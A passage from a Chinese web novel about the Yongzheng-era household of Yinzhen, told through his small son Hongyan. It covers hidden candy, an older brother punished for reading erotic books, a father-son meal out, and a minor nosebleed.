没有她的允许,正院里的人是不敢给弘晏糖吃的。 弘晏撅着小嘴巴没吭声。 乌拉那拉氏有心诈一诈弘晏:“你以为不说,额娘就不知道了吗?” 弘晏嘟囔道:“额娘都知道,还问窝做什么。” 要是早知道额娘这么警觉,他就该一口气把牛乳花生糖都给吃了。 乌拉那拉氏一噎,正欲开口,便见胤禛走进来问道:“这是怎么了?” 他从前院书房过来,还没进屋子呢,就听见母子两个你来我往的争辩。 胤禛在小榻的另一侧坐下,乌拉那拉氏简单讲了一下事情的始末。 胤禛的眼睛望了一眼弘晏,转而又落在了矮桌上的荷包和白瓷碟子里的牛乳花生糖上面:“去十三弟府上那日,福宝就带着这个荷包,该不会就是为了装牛乳花生糖吧。” 他记得弘晏曾夸过胤祥府上的牛乳花生糖很好吃。 乌拉那拉氏闻言,看向弘晏:“福宝,你阿玛说的可是实情,这糖是你从你十三叔府上带回来的?” 若是如此,便说得通了。 弘晏只道:“十三叔又不是外人,是阿玛最好的好兄弟。” 这话便是承认了。 胤禛听了这话自然高兴,而乌拉那拉氏反问道:“照福宝的意思,你与弘晈也是好兄弟,这糖是他给你的喽?” 这糖既然来自十三贝子府,若是胤祥或兆佳氏给的,那胤禛必然知情,若不是,那就只有弘晈了。 弘晏见乌拉那拉氏已然猜到了,便不再隐瞒了:“不是弘晈弟弟给的,是窝偷偷管他要的,一共十颗,窝每天晚上吃一颗,才吃了四颗呢。” 这糖来之不易,他都不舍得多吃呢。 胤禛笑问:“十颗?福宝怎不多要些?” 弘晏眨了眨眼睛:“装多了,荷包鼓起来,阿玛不就发现了吗?” 牛乳花生糖体积小,放十颗在荷包里不仔细看是不明显的。 胤禛点头:“你倒是聪明。” 偷吃个糖,还用上智谋了。 乌拉那拉氏扭脸看向胤禛:“爷还夸起他来了,睡觉前偷吃糖对牙齿危害更大。” 弘晏委屈巴巴道:“额凉不让吃糖,连甜口的点心也不叫吃了,窝怎么受的了。” 胤禛见状,挑眉道:“福宝,那也不该藏糖偷吃糖,招来老鼠可怎么办?” 老鼠!!! 弘晏眨了眨眼睛,他可没有想过这个问题。 乌拉那拉氏见弘晏被胤禛唬住了,不禁弯了弯嘴角。 这雍亲王府日日都有奴才打扫,哪里来的老鼠。 随即,乌拉那拉氏正色道:“福宝,这六颗糖额娘便没收了,另外,罚你三天不许吃萝卜。” 弘晏:!!! 鱼和熊掌都要没有了。 弘晏小跑过去,拉着乌拉那拉氏的手臂晃:“额凉,窝知道错了,糖不要了,窝要萝卜。” 兔子怎么能不吃萝卜呢! 弘晏见乌拉那拉氏不松口,索性趴在乌拉那拉氏膝头央求起来:“额凉,好额凉,窝再不敢藏糖了。” 乌拉那拉氏见弘晏是真心知道错了,便松了口,不罚弘晏的萝卜了。 弘晏立马站起来,笑嘿嘿道:“额凉最好了。” 乌拉那拉氏又叫弘晏张大嘴巴,借着烛火的暖光检查了检查弘晏的乳牙,好在还没有蛀牙。 乌拉那拉氏放了心,弘晏下了脚踏,转而又走到胤禛身边说道:“阿玛,是窝叫弘晈弟弟给窝糖的,泥不要告诉十三叔。” 胤禛闻言,抬手揉了揉弘晏的头顶:“好。” 小家伙倒是个有义气的,生怕弘晈被胤祥责怪。 夜深了,乌拉那拉氏叫弘晏用茶水漱了口,便叫王乳娘带弘晏回耳房睡觉去了。 —— 翌日午后,胤禛得闲便让苏培盛叫了弘晏来前院书房下棋。 弘晏刚刚开始接触下棋,胤禛想着先培养弘晏对下棋的兴趣,是以和之前一样,与弘晏先来几局简单的五子棋。 棋局拉开序幕,这次依旧是弘晏的黑子先行。 胤禛可是很认真的对待这场棋局,一点儿水都不带放的。 弘晏行一步,就被胤禛堵一步,五个子怎么都连不到一起去,是以弘晏一只手肘支在棋盘上,用手掌托着下巴,另一只手则捏着黑子,眼睛专注的盯着棋盘上的 局势,想要在棋盘上开辟一条生路。 胤禛见状,端起手边的茶盏饮了一口,给弘晏充足的时间思考。 这时,苏培盛走了进来,行至胤禛身侧,弓着腰禀报:“爷,朱师傅在外等候。” 胤禛言道:“快请进来。” 少顷,朱师傅迈步进来朝着胤禛拱手道:“王爷。” “朱师傅,坐下说话。”随着胤禛话音落下,小喜子已然搬了绣墩过来。 朱师傅道谢过后,便落坐在了绣墩上。 胤禛则看向弘晏,出声道:“福宝,问朱师傅好。” 弘晏闻此言,抬起小脑袋对着绣墩上的朱师傅拱手道:“朱师傅好。” 他之前和便宜阿玛偷听时见过的,朱师傅是教授三个哥哥经史子集的老师。 朱师傅颔首道:“六阿哥有礼。” 朱师傅说完,转而又看向了胤禛:“王爷,我有一事仔细思量过后,觉得还是应该跟您提一提为好。” 胤禛笑道:“朱师傅但说无妨。” 朱师傅娓娓道:“三阿哥近日在课上总是走神,甚至发笑,连讲的文章翻页了都不知,我私下里问过,三阿哥只道是温书熬的太晚,精神不济,可我瞧着却不太像。” 若真是熬夜太晚,精神不济,那在课上该是昏昏欲睡才是,怎会忽然发笑。 胤禛听完,神情变得严肃:“有劳朱师傅,这件事儿我会查清楚的。” 朱师傅闻言,便起身告退了。 待朱师傅走后,苏培盛试探着开口:“爷,可要请三阿哥过来问话?” 胤禛只道:“叫弘历和弘昼来。” “嗻。”苏培盛应声后,即刻去办。 吃瓜的弘晏转了转眼珠子,便宜阿玛这是怕弘时不肯说实话,所以先盘问一下跟弘时接触时间长的弘历和弘昼。 少顷,弘历与弘昼迈步进来,齐齐拱手道:“见过阿玛。” 弘晏热情的跟弘历与弘昼打招呼:“四锅锅,五锅锅。” 弘历点了点头:“六弟。” 弘昼则眨了眨眼睛,看着弘晏的眼睛里满是艳羡:“六弟,你不用读书真好。” 弘晏一愣,弘昼的发言依旧不走寻常路。 弘历闻言,出声提醒弘昼:“五弟,六弟已经启蒙了。” 弘昼听完弘历的话,眼睛里的艳羡之意顷刻间便消失了。 是啊,启蒙的下一步就是搬来前院上学读书了。 六弟也只是比他晚了两年而已,要走的过程都是一样的。 胤禛听着弘昼说些厌学的话,心里就来气,不过想到方才朱师傅的话,便暂且放过弘昼,还是先弄清楚弘时的事情要紧。 胤禛清咳一声,随即正色问道:“弘历、弘昼,阿玛叫你们来,是想问问你们,弘时近日来可有什么反常的行为举止?” 胤禛说完,又觉得自己说得话有些复杂,弘历与弘昼并不一定能理解,是以又简化了一些:“或是弘时之前没有说过的话、做过的事,现在说了,做了?” 胤禛说完,便给弘历与弘昼思考回忆的时间。 弘晏也不琢磨五子棋了,眼睛直勾勾的望着弘历与弘昼,他也很想知道内情。 片刻后,弘历缓缓开了口:“阿玛,儿子并没有觉得三哥有什么反常的举动。” 弘昼闻言,立马接过话茬:“四哥,你日日除了看书就是念书,当然不知道了。” 胤禛闻言,眸子一闪,随即问道:“弘昼,你知道些什么?” 弘昼娓娓道:“阿玛,就在昨日,我闲着没事就去了三哥的屋子,三哥坐在床上看书,边看还边笑,我刚凑过去,三哥立马把书合上塞在了枕头下,还凶巴巴的撵我出去。三哥平日里也不见得喜欢看书,还宝贝的跟什么似的。” 弘昼现在想起来还有些生气。 弘时真是小气,不过是一本书罢了,瞧一眼也不让,有什么稀罕的。 弘历对此却有不同看法:“五弟,那书既然是三哥自己的,他不愿意让你看,也是有道理的。” 弘昼看着弘历,出声解释道:“我没想看三哥的书,只是好奇那书里写的什么,竟能让三哥笑得那么高兴。” 胤禛看向弘昼,继续问道:“弘昼,你当时可瞧清楚了那本书的名字,或是里面的内容?” 弘昼仔细想了想,随即又摇了摇脑袋:“三哥收的快,我没看清字是什么,不过书里面倒是有图画,像是两个小人儿。” 胤禛将方才种种联系到一起,忽而脸色一沉:“弘昼,你确定那书上画有两个小人儿?” 弘昼点了点小脑袋:“阿玛,字我不认得自然记不住,但两个小人儿画的可大,我不会看错的。” 胤禛抬眸吩咐道:“苏培盛,把弘时叫过来,再叫小喜子带两个人,把弘时的屋子给我好好搜一遍。” 苏培盛立马颔首道:“嗻,奴才这就去办。” 第89章 第89章父子对饮 前院书房内。 胤禛端坐在檀木小榻上,弘晏与弘历、弘昼按照年龄顺序挨着另一侧檀木小榻侧着站着一排,而弘时则立于堂前中央。 少顷,小喜子捧着一个匣子走了进来,而弘时的余光瞥见那熟悉的匣子时,眼神立马变得慌张起来,垂在两侧的手不禁握了起来。 小喜子行至胤禛面前,出声禀道:“爷,这是从三阿哥房中搜出来的。” 胤禛一抬眸,小喜子立马将匣子打开,往胤禛面前一送。 匣子里是厚厚的一摞书。 胤禛抬手拿起匣子里放在最上面的一本,不过是翻了一页,待瞧清楚里面的两个裸/体小人儿交缠在一起的画面时,胤禛的脸即刻就黑了,将手里那本书扔在地上,喝道:“弘时,这淫/秽之物从何处来的,又看了多久?” 弘时“扑通”一声跪在地上,声音里都是颤抖:“阿玛,我知错了。” 胤禛阴沉着脸看向跪在地上的弘时,从牙缝里挤出两个字:“回话。” 弘时吞了吞口水:“书……第一本书是弘晸给我的,余下的也是他告诉我只要对上暗号就可以在书肆里买到。” 胤禛狭长的眸子眯起。 弘晸? 老九的儿子。 胤禛望着不争气的弘时,压着火气问道:“你何时与弘晸走近的,还不如实说来?” 弘时低着脑袋答道:“阿玛,那年我在乾清宫因一时结巴闹了笑话,旁人都笑我,只有弘晸他没有,反而安慰于我,三伯府上的诗会弘晸是常客,我对不上酒令,弘晸替我挡了好几杯酒,诸多堂兄弟中只他对我最好。” 胤禛拧眉:“对你好?弘晸真对你好会引你看这些淫/秽之物?” 瞧着胤禛误解了弘晸,弘时遂辩解道:“阿玛,弘晸说儿已然十三岁了,再过两年便是要娶福晋的,早些通晓人事也是好的,儿觉得他说得有理,才收了他赠的书。阿玛您膝下子嗣不多,只有我们兄弟四个,儿早日明白男女之事,届时娶妻生儿育女,也是绵延雍亲王府的血脉啊。” 这些话别说胤禛了,就是弘晏听了眼睛都瞪大了。 做儿子的明晃晃的往老子心口上扎刀子呢。 关键是弘时说这话时,还是一脸真诚的模样。 胤禛此时的脸已然黑的吓人,一把将手边的茶盏扫落在地:“混账东西,你读书多年,爷一直悉心教导于你,你却毫无长进,如今旁人三言两语的挑唆,你却视为肺腑良言,爷怎么生了你这么个蠢笨的儿子。” 胤禛的话犹如惊雷,弘时瞬时红了眼睛,泪光在眼里打转:“阿玛,在你心里儿就这般不堪吗?” 胤禛直言道:“弘晸比你还小两岁,他做这些还不是你九叔在背后指使?” 弘时有些不相信:“九叔?就算是九叔授意的弘晸,可这么做对他有何好处?” 他看了那些书,是增长了他从而触及过的知识,打开了新的世界。 胤禛气得发昏:“事到如今,你竟还不明白,想来往日爷还是对你太仁慈了些,今日当着你三个幼弟的面,爷就好好教教你。” 话音落下,胤禛站起身,抬手将高几上摆放的青花瓷瓶里插着的鸡毛掸子抽了出来,紧接着只听得“呼”一声,鸡毛掸子狠狠地打在了弘时的背上。 “啊——”弘时疼的哭了出来。 火辣辣的痛感从弘时背部传来。 鸡毛掸子就这样一下下的落在弘时身上。 弘昼平日里再顽皮,胤禛也只是嘴上说说,并未真的动过手,如今瞧着这阵仗,弘昼也有些吓着了。 弘晏虽可怜挨打的弘时,但如今胤禛 在气头上,他若是给弘时求情,怕是弘时会被胤禛打的更狠。 再者,若是没有今日这一顿打,弘时不长记性,不远离八爷一党,以后的下场会更惨的。 弘历看不下去了,站出来求情:“阿玛,三哥知道错了,你饶了他吧。” 胤禛闻言,喊道:“苏培盛。” 苏培盛立马上前,将弘历拉到了一旁站着。 任谁求情,三阿哥今日这顿打是逃不过的。 李侧福晋急急忙忙赶过来,将拦着她的小喜子推开,直接冲进来跪在地上抱住了胤禛的大腿:“爷,求您饶了弘时吧。” 弘时蜷缩在地已然哭成了泪人:“阿玛,我知道错了,我再也不敢了,我再也不理弘晸了。” 胤禛皱眉喊道:“苏培盛。” 苏培盛一挥手,两个小太监上前便要把李侧福晋拉开。 李侧福晋双手抱紧了胤禛的大腿,哭喊道:“爷,你打也打了,就饶了弘时这一回吧,你不看在妾身为你生养了三个孩子的份上,就看在没了的茉雅奇的份儿上,饶了弘时吧。” 胤禛又挥起了鸡毛掸子正准备接着打下去,听此言心中一痛,便将鸡毛掸子丢在了地上,吩咐道:“苏培盛,将弘时带去祠堂跪着,没我的命令不许起身,李氏自今日起禁足碧波苑,无令不得出。” 李侧福晋与弘时分别被带走后,胤禛又命人将那淫/秽之物烧了个干净。 末了,胤禛又吩咐人将三个孩子送回去。 弘历与弘昼已经走了,弘晏却没有走的意思。 胤禛开口问:“福宝,你怎还不回正院?” 弘晏软糯糯的开口:“阿玛心情不好,窝留下来陪你。” 胤禛一愣,随即又问:“你方才可都瞧见了,不怕阿玛也打你?” 弘晏歪着小脑袋:“三哥犯了大错,阿玛打他,窝乖乖的又没有犯错,阿玛怎么会打窝。” 弘晏这话倒是逗笑了胤禛:“那福宝留下来,是要陪阿玛做什么?” 弘晏忽闪着眼睛:“嘿嘿,陪阿玛喝一杯,阿玛喝酒,窝喝奶。” 没有什么烦恼是一顿酒解决不了的。 如果有,那就喝两顿。 虽然打了弘时一顿,但胤禛心里还是堵的厉害,听着弘晏的话,便叫苏培盛去准备了。 酒菜已然备好,胤禛一连干了三杯,心里舒坦了不少,而坐在对面的弘晏双手正抱着个牛肉酥饼吃得满嘴流油。 胤禛开口问:“有这么好吃吗?” 弘晏用力点了点小脑袋。 胤禛遂拿起牛肉酥饼咬了一口,鲜香酥脆确实不错。 待嘴里的牛肉酥饼咽下,胤禛又问:“福宝,你怎知阿玛会答应你喝酒?” 弘晏还咀嚼着牛肉酥饼,含糊不清的说道:“阿玛以前心情不好的时候,不是和十三叔喝酒了吗?喝完酒,阿玛心情就好了。” 弘晏说的话,胤禛听得很清楚:“好,那咱们父子俩干一杯。” 弘晏闻言,将吃了一半的牛肉酥饼先放下,转而双手捧起了自己盛了牛乳的碗,和胤禛的酒杯碰了碰。 胤禛一饮而尽,弘晏则象征性的喝了一口奶。 父子俩吃饱喝足,弘晏便要胤禛去内室的床榻上美美睡一觉。 胤禛喝完酒,脑袋是有些沉了,便起身走进了内室,待胤禛脱了靴子躺在床上后,弘晏便撅着小屁股上了床榻,要给胤禛盖被子。 胤禛便由了弘晏。 弘晏一边给胤禛盖被子一边哄道:“阿玛快快睡,睡醒了心情就好了。” 胤禛抬手揉了揉弘晏的发顶:“你也快些回正院去,别叫你额娘担心。” 弘晏点了点小脑袋。 待胤禛阖上眼睛后,弘晏便出了内室,离开了书房。 小喜子在祠堂外守着,见弘晏过来便迎上去说道:“六阿哥,可是爷有吩咐?” 三阿哥已然在里面跪了半个时辰了。 弘晏摇了摇小脑袋:“阿玛睡着了,窝来看看三锅锅。” 小喜子犹豫了:“这……” 弘晏忽闪着眼睛问:“阿玛有说过窝不能进去吗?” 小喜子思量过后,便让开了:“六阿哥,您看眼三阿哥,就快些出来吧。” 弘晏点了点小脑袋,便推开门进去了。 偌大的祠堂里供着牌位香火,下首弘时一个瘦小的身影在地上跪着,弘晏走了过去,唤道:“三锅锅。” 弘时的眼睛已然哭肿了,声音也哭得沙哑了:“福宝,你来干什么?” 弘晏没答话,从怀里掏出一个油皮纸塞进弘时手里后,便转身迈着小步子出去了。 直至弘晏的身影被一扇门隔绝,弘时将头扭回来,打开了油皮纸,里面俨然放着两个牛肉酥饼。 弘时吸了吸鼻子,拿起牛肉酥饼狼吞虎咽的吃了起来。 这厢,弘晏离开祠堂又去了柳从南的院子,柳从南正在煎药,手里拿着蒲扇在扇药炉上的火。 “柳大夫。”弘晏开口喊道。 柳从南闻言,有些震惊:“六阿哥,你怎么来了?” 弘晏掏出一个油皮纸递给柳从南:“很好吃的牛肉酥饼,你尝尝。” 柳从南接过了油皮纸,问道:“六阿哥此番来,不只为给我一个牛肉酥饼吧?” 弘晏如实道:“窝三锅锅挨打了,人还在祠堂跪着。” 柳从南这便明白了弘晏的来意,言道:“六阿哥放心,三阿哥那儿,我会送药膏过去的。” 弘晏点了点小脑袋,又道:“牛肉酥饼凉了就不好吃了。” 和聪明人说话就是简单。 柳从南这便将油皮纸打开,咬了一口牛肉酥饼:“多谢六阿哥,这牛肉酥饼确实味美。” 离开了柳从南的院子,弘晏便直接回正院去了。 “额凉,额凉。”弘晏边喊着,边扑向了乌拉那拉氏。 乌拉那拉氏将弘晏抱坐在腿上,点了点弘晏的雪白圆润的鼻尖儿:“你呀,还知道回来啊。” 前院发生的事儿,银烛一五一十都禀了她了。 “嘿嘿,额凉,窝想额凉了,当然要回来啊。”话说完,弘晏便赖进了乌拉那拉氏的怀里撒娇。 第90章 第90章望梅止渴 夜深了,弘晏沐浴更衣后不肯回耳房睡,两条小短腿一溜烟儿的跑进内室上了拔步床,用被子把自己包裹起来。 乌拉那拉氏瞧着躺在拔步床上裹得像蚕宝宝似的弘晏正露一个小脑袋忽闪着大眼睛望着自己,一时忍不住笑了。 白日里她说弘晏玩心大舍不得回来,到了晚上就耍赖不走了。 也罢,左右胤禛也不在,将弘晏留下来也没什么。 乌拉那拉氏挥了挥手,王乳娘颔首出去了。 待乌拉那拉氏上了拔步床,弘晏又从被子里爬出来,窝进了乌拉那拉氏怀里,眨着星星眼说道:“额凉,窝好久没有听额凉哼歌谣了。” 乌拉那拉氏抱着弘晏,看着小人儿笑道:“好,那额娘唱给你听。” —— 书房内,胤禛睡醒后便叫了苏培盛进来。 苏培盛禀明了胤禛,弘时现如今还在祠堂跪着,只是弘晏进去过祠堂看弘时,不久后柳从南又交给了守门的小喜子一瓶治跌打损伤的药膏。 胤禛边听,边阖眼按了按眉心,待再睁开时,眼睛看东西清晰多了。 他今日动怒责打弘时的事情,全府上下定然都知晓了,柳从南从不是多事的人,既然弘晏去过祠堂,想必柳从南送药膏也是弘晏的意思了。 小小年纪便能体谅阿玛,又能关爱兄长,着实不易。 胤禛掩下思绪,对着苏培盛吩咐道:“叫弘时回去,将近日所学文章抄写百遍。” 苏培盛应声去办。 待苏培盛走后,胤禛的眸子眯起。 如今老八虽然失了圣心,面上安分守己,但内里对储位依旧没有死/心,老九的产业遍布京城,大肆敛财还不是为了给老八收买人心。 他的儿子再不成器也是他亲生的骨肉,老九的手伸得太长了些,这回不让老九出点儿血怎么能成呢。 两日后的朝会上,御史参九阿哥胤禟倚仗皇子身份敲诈官员,勒索钱财,走私人参,牟取暴利,人证物证俱在,康熙大怒,待朝会散后,康熙在乾清宫狠狠呵斥了胤禟一番,胤禟无话可辩,献出十万两白银上交国库。 在书房与胤禛下棋的弘晏得知此事后,不禁在心里感叹:便宜阿玛这一出手可就扒了老九一层皮啊,那可是整整十万两白花花的银子。 话说回来,老九真不愧是八爷党派的“钱袋子”,只怕这十万两白银还只是老九家私的九牛一毛呢。 不过,亲生的儿子废的 废,圈禁的圈禁,康熙心里怎会不痛,儿子认了错又上交了一大笔钱,对外有个说法也就睁一只眼闭一只眼了。 “福宝,你输了。” 胤禛的声音将弘晏的思绪拉回现实来,弘晏低头一看,那棋盘上属于胤禛的白子已然连成了一条线了。 都怪他刚刚在想老九的事,没注意看棋局。 弘晏开始耍赖:“窝刚才没看清,重来。” 胤禛眉头一挑:“福宝,男子汉大丈夫都是愿赌服输,可不会输不起就耍赖皮的。” 弘晏点点头:“好吧,阿玛尽管说吧。” 对弈之前,他与便宜阿玛打赌了,赢的人可以要求对方做一件事情。 胤禛拍了拍自己的右肩,看向弘晏:“昨日阿玛忙公务睡得晚,肩膀有些酸痛。” 弘晏听罢,便从小榻上下来转而爬上了胤禛那一侧的小榻,双拳握起开始给胤禛捶肩膀。 胤禛一脸享受:“左边,左边也有些酸痛。” 弘晏两个拳头便分开,左右齐上阵。 捶了一盏茶的功夫,胤禛便让弘晏停了。 弘晏的手也着实有些酸了。 胤禛捏了捏弘晏的小手:“今日天儿好,阿玛带你去外面吃饭。” 弘晏眼睛一亮:“真的?” 胤禛笑了:“福宝捶肩膀辛苦,阿玛犒劳犒劳你。” “好,那走吧阿玛。”弘晏蹦下了小榻,拉着胤禛的手就要往外走。 胤禛只道:“福宝别急,换件衣服再出门也不迟。” 胤禛与弘晏都换了便装之后,坐上马车出了门。 弘晏瞧得出来便宜阿玛这是不想张扬,今日出门的马车不过是寻常的雕花马车,车上并没有雍亲王府的徽记。 宽敞的大街上,弘晏掀开帘子一眼就瞧见了叫卖冰糖葫芦的小贩,那草把子上面插满了红彤彤的冰糖葫芦。 弘晏吞了吞口水,转而去晃胤禛的袖口:“阿玛,阿玛,窝想吃冰糖葫芦。” 胤禛闻言,看着小家伙提醒道:“你不能吃糖。” 弘晏瘪了瘪嘴巴,眨着星星眼说道:“阿玛,窝好久没吃了,额凉不在,她不会知道的。” 胤禛抬手揉了揉弘晏的小脑袋:“那也不成。” 胤禛态度坚决,弘晏撅了撅嘴巴,索性不再掀开马车帘子瞧,同时又抬起双手捂住自己的耳朵。 看不见也听不见,自然就不会想吃了。 胤禛瞧见弘晏这幅模样觉得好笑,同时又有些不忍心,但他不能答应,答应了这一次,让弘晏有了念想,在以后不能吃糖的日子里会更难受的。 胤禛抬手掀开弘晏捂住耳朵的小手掌:“福宝,可听见望梅止渴的故事?” 弘晏摇了摇脑袋。 于是,胤禛便和弘晏讲起了望梅止渴的故事。 弘晏听得认真,自然也就忽略了外面小贩吆喝冰糖葫芦的叫卖声。 待弘晏听完整个故事,胤禛又道:“福宝,你若真的想吃,大可以想象手里就有一颗冰糖葫芦,然后张口把它吃掉。” 弘晏低头看了看自己空荡荡的手,随即抬眸十分硬气的对着胤禛说道:“没有就是没有,窝才不要。” 便宜阿玛出的什么馊主意,吃空气也太傻了,他才不要干愚蠢的事情。 胤禛见状,弯了弯嘴角。 讲故事转移了弘晏的注意力,如今马车已然走过了方才那条长街,弘晏听不见冰糖葫芦的叫卖声,自然也就不会再想了。 外面各种各样的吆喝叫卖声还是吸引弘晏再次掀开了马车帘子,随即弘晏又去拉胤禛的袖子:“阿玛,窝们吃这个吧。” 说着,弘晏又掀开马车帘子指给胤禛瞧,那是一家馄饨摊。 胤禛眉头微颦,大街上人来人往嘈杂的很,吃街边小食的人更是鱼龙混杂,再者那馄饨摊用料干净不干净还是未知呢。 胤禛遂出声道:“福宝,阿玛带你去酒楼吃,那里干净雅致。” “窝看着很干净啊,有好多人吃的,阿玛,就吃这个好不好嘛。”弘晏边说着,边上手晃悠胤禛的胳膊。 方才弘晏想吃冰糖葫芦胤禛便没有同意,现在弘晏想吃馄饨他若再不同意怕是弘晏要同他生气了。 再说他今日带着弘晏便装出行,本就是为了方便带小家伙吃饭的。 胤禛点头:“好,就吃馄饨吧。” /:.,, 胤禛松了口,弘晏立马喜笑颜开:“嘿嘿,阿玛最好了。” 胤禛吩咐人将马车停在大街的拐角处,而后抱着弘晏下了马车,走到馄饨摊找了一个靠里的位置坐下。 少顷,摊主端来了两碗馄饨并两个芝麻烧饼,那两个芝麻烧饼里都夹了几片酱牛肉。 弘晏闻着这香味,馋虫都跑出来了。 刚出锅的馄饨飘着热气,胤禛拿着小碗先舀出四个馄饨放在弘晏面前,这样凉的快一些。 弘晏拿起调羹从小碗里舀起一个薄皮馄饨送到嘴边,而后张开嘴巴冲着馄饨呼呼吹了吹气儿才张口吃掉了馄饨。 吃完了第一个馄饨,弘晏很快就将余下的三个馄饨都吃掉了。 趁着便宜阿玛又给自己往小碗里舀馄饨的空档,弘晏又咬了一口芝麻烧饼夹酱牛肉:“阿玛,泥也吃。” 胤禛点头。 这街边小食的味道倒是也不输酒楼的大厨,偶尔尝尝也是可以的。 弘晏吃了半碗馄饨,喝了好多馄饨汤,又咬了好几口芝麻烧饼夹牛肉便已经饱了。 胤禛拿着帕子给弘晏擦干净嘴巴,便准备结账带着弘晏回去。 弘晏拉了拉胤禛的袖子,唤道:“阿玛,给额凉带一碗馄饨回去吧。” 胤禛立即答应:“好。” 回到雍亲王府后,胤禛带着弘晏直接回了正院。 弘晏雀跃的喊道:“额凉,窝和阿玛回来了。” 乌拉那拉氏抱过弘晏亲了亲。 苏培盛则将食盒放在了八仙桌上,将一碗馄饨端了出来。 弘晏指着桌上的馄饨道:“额凉,窝给泥带的馄饨,快尝尝。” 苏培盛用的是保温食盒,如今馄饨还热乎着。 乌拉那拉氏笑吟吟道:“好。” 弘晏便从乌拉那拉氏怀里下来,转而坐到了胤禛的大腿上。 乌拉那拉氏落坐在胤禛的对面,抬眸问道:“爷可是带着福宝吃馄饨了?” 胤禛回道:“嗯,爷本来是想带福宝去酒楼吃的,福宝想吃馄饨,味道还不错。” 乌拉那拉氏听罢,拿着调羹舀了个馄饨送进口里,点头道:“确实不错。” 瞧着乌拉那拉氏喜欢,弘晏扬了扬小脸蛋儿,十分骄傲道:“窝喜欢吃的当然好吃。” 胤禛闻言,挑眉道:“福宝吃不到的东西更好吃。” 弘晏立刻就明白了胤禛话里指的是什么,遂扭脸看向胤禛 ,撅着小嘴喊道:“阿玛!” 便宜阿玛非要哪壶不开提哪壶。 真是讨厌! 他本来都忘了这回事的。 乌拉那拉氏听得一头雾水,望着胤禛问道:“爷和福宝在打什么哑谜?” 胤禛悠悠道:“没什么,爷给福宝讲了一个望梅止渴的故事。” 弘晏气呼呼的纠正道:“是望冰糖葫芦止渴。” 乌拉那拉氏这便明白了,哈哈笑起来。 弘晏见状,瘪着小嘴巴哼唧道:“额凉。” 乌拉那拉氏连连道:“好好好,额娘不笑了,额娘吃福宝专程给额娘带的馄饨。”【你现在阅读的是 】 90-100 第91章 第91章大可不必 日子进了夏季,天气渐渐热起来,午后的时光总是会使人感到困倦,乌拉那拉氏每日便叫弘晏午睡一会儿,睡醒了再继续背书。 乌拉那拉氏想的周到,弘晏自然乐意配合,背书的效率也高。 这日,乌拉那拉氏叫小厨房做了一碟红糖糍粑。 一来,是为了奖励弘晏背书用功。 二来,她深知弘晏惦记着吃糖很久了,给弘晏解一解馋虫。 果不其然,弘晏一瞧见红糖糍粑眼睛立马就亮起来了。 “额凉最好了。”弘晏说完,立马抬手拿起一个红糖糍粑送进了嘴里,糯叽叽的糍粑混合着红糖和黄豆粉的味道,真是太美味了。 一个糍粑吃完,弘晏飞快的从碟子里又拿了一个。 好久没有吃到糖了,弘晏满脸都是幸福感,忽而,弘晏感到鼻子有些痒,便腾出一只手在鼻子下揉了揉,转而专心致志的吃着手里的糍粑。 下一瞬,弘晏却感到有些不对劲,好像有什么东西正从鼻子里流出来,弘晏抬手在鼻子下一蹭,眼睛一暼,却见那手指头上被染红了一小片。 弘晏一惊:这是血?! 弘晏有些慌张,立马看向乌拉那拉氏喊道:“额凉,额凉!” 乌拉那拉氏一扭头,却见弘晏吃成了个小花猫,笑着拿帕子去给弘晏擦嘴巴周围的红糖。 这孩子,好不容易吃上了糖可是高兴坏了。 乌拉那拉氏正擦着弘晏的小嘴巴,却瞧见弘晏的鼻孔里流出来了红色的液体。 乌拉那拉氏这才反应过来,弘晏嘴巴上面的不是红糖而是鼻血! 乌拉那拉氏边拿着帕子给弘晏止血,边唤道:“银烛,快去叫柳大夫来。” 不一会儿的功夫,弘晏的鼻血已经止住了,只是弘晏被这突而其来的鼻血给吓住了,如今乖乖窝在乌拉那拉氏怀里,说话的声音也带着几分忐忑:“额凉,窝怕。” 乌拉那拉氏低头贴了贴弘晏的小脸蛋儿,安慰道:“福宝不怕,没事的,有额娘在。” 乌拉那拉氏话音落下时,银烛正好带着柳从南进来。 “给福晋请安,给六阿哥请安。”柳从南打千儿道。 乌拉那拉氏忙开口道:“柳大夫不必多礼了,快瞧瞧福宝。” 柳从南应了一声,便将手里拎着的药箱放下,转而半蹲在地上给弘晏诊脉。 瞧着柳从南一脸严肃的模样,弘晏的恐惧又多了几分。 等待诊脉结果的时间过得煎熬又漫长。 片刻后,柳从南站起身看向乌拉那拉氏:“禀福晋,六阿哥并无大碍,只是有些上火罢了。” 没有别的毛病,乌拉那拉氏这便放心了。 弘晏听了这话也松了口气,但还不忘扬起小脸儿问道:“要喝苦药汤吗?” 柳从南笑道:“这倒不用。” 话说完,柳从南又看向乌拉那拉氏:“福晋,金银花有清热解毒、疏散风热的功效,福晋可让人用金银花泡了水喂六阿哥喝一些。” 乌拉那拉氏颔首:“银烛,好生送柳大夫出去。” 少顷,流萤便端了金银花水过来。 乌拉那拉氏拿着调羹舀了一勺金银花水吹了吹,便要喂给弘晏。 弘晏却不相信柳从南的话,药哪里有甜的,于是便用手捂住嘴巴。 乌拉那拉氏见状,哄道:“福宝乖,这金银花水不苦,是甜的,福宝连额娘都不信了?” 弘晏这便将手放下,张开嘴巴抿了一口,而后咂巴了一下嘴。 这金银花水确定不苦,有淡淡的清香和微微的甜味。 待乌拉那拉氏再将金银花水喂到嘴边时,弘晏便放心大胆的喝了。 金银花水喝完,乌拉那拉氏便命人拿了软枕过来,好叫弘晏躺在檀木小榻上休息一会儿。 弘晏的眼睛却直勾勾地瞧着矮桌上那未吃完的红糖糍粑。 乌拉那拉氏捕捉到了这一点儿,便叫流萤撤下去了。 弘晏用可怜巴巴的语气喊道:“额凉。” 乌拉那拉氏解释道:“糯米不易消化,你方才吃的够多了。” 弘晏妥协的“哦”了一声,便乖乖躺下去了。 如今天儿还不算十分炎热,屋子里没有放冰鉴,乌拉那拉氏便拿着团扇坐在弘晏身旁扇着风。 很快困意来袭,弘晏便呼呼睡着了。 见弘晏熟睡,乌拉那拉氏也不再扇了,叫流萤拿来一条薄毯给弘晏盖在身上了。 待到傍晚,胤禛来了正院,从乌拉那拉氏嘴里得知弘晏上火流鼻血时并未多说什么,第二日却直接叫苏培盛往正院送了两个大西瓜。 弘晏瞧着横躺在地上的两个大西瓜,便撸了袖子想要抱一抱这大西瓜有多沉,可饶是弘晏将吃奶的力气都使出来,也没有将西瓜抱起来。 如今只是初夏,西瓜可是稀罕物,乌拉那拉氏叫银烛先切了半个西瓜给弘晏解馋。 